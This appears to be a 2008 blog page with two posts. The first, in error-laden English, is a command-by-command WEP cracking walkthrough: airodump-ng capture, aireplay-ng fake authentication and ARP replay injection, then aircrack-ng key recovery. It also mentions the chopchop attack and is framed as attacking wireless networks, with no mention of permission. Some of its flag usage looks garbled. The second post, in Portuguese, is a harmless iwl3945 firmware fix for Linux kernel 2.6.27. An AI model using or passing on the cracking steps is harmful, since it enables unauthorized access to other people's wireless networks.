Day: October 12, 2008

Wireless cracking using aireplay-ng, airodump-ng and aircrack-ng

why are you making a complicated dump file. the key to getting started with wep cracking is to keep it as symple as possable i use the AP name as a dump file. my script is:

airodump-ng -c {channel} -w {network name} {interface}

but make sure you have the correct spaces in between. if i was attaking channel 11 it would look like this.

airodump-ng -c 11 -w NETGEAR eht1

then move on to .

aireplay-ng -1 30 -e {network name} -a {your mac} -h {AP MAC} {interface}

my one look’s like this.

aireplay-ng -1 30 -e NETGEAR -a 00:11:22:33:44:55 -h 00:00:00:00:00:00 eth1

if all is good

aireplay-ng -3 -b {AP mac} -h {your mac} -x 900 eth1

my one look’s like this.

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:00:00:00:00:00 -x 900 eth1

now airodump-ng data should be going crazzzzzzy and aircrack-ng is simple

aircrack-ng -n 64 –bssid {AP MAC} {network name}*.cap

hear is my one.

aircrack-ng -n 64 –bssid 00:11:22:33:44:55 NETGEAR*.cap

the 64 can be changed for 128 depending on the bit of encriptoin
possable reasons for data not rising is no client on the network. this is the simpleist wy of cracking wep but you need to have a client on the network. i use the chopchop attake i find it far better and there is no need to have a client on the network. hope this help’s you. hay what do i know im just a newbe

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SIOCSIFFLAGS: No such file or directory

Compilei o kernel 2.6.27 e apos iniciar nele eu recebo a msg de erro “SIOCSIFFLAGS: No such file or directory” quando tento iniciar a conexao wireless. A placa wireless do notebook e’ a iwl3945.

O mais estranho e’ que eu tinha compilado o kernel 2.6.26 e tudo funcionava corretamente. Apos muito tempo pesquisando descubro que o problema era a memoria, nao a do notebook, mas a minha mesmo.

Eu esqueci de baixar o firmware para o novo kernel, embora eu fiz isso quando compilei o kernel 2.6.26.
Entao para evitar problema e’ melhor usar meu blog para documentar isto. Baixe o firmware do site: http://www.intellinuxwireless.org/iwlwifi/downloads/iwlwifi-3945-ucode-2.14.1.5.tgz

Extraia o conteudo deste arquivo dentro de /lib/firmware/2.6.27 e tudo funcionara’ corretamente.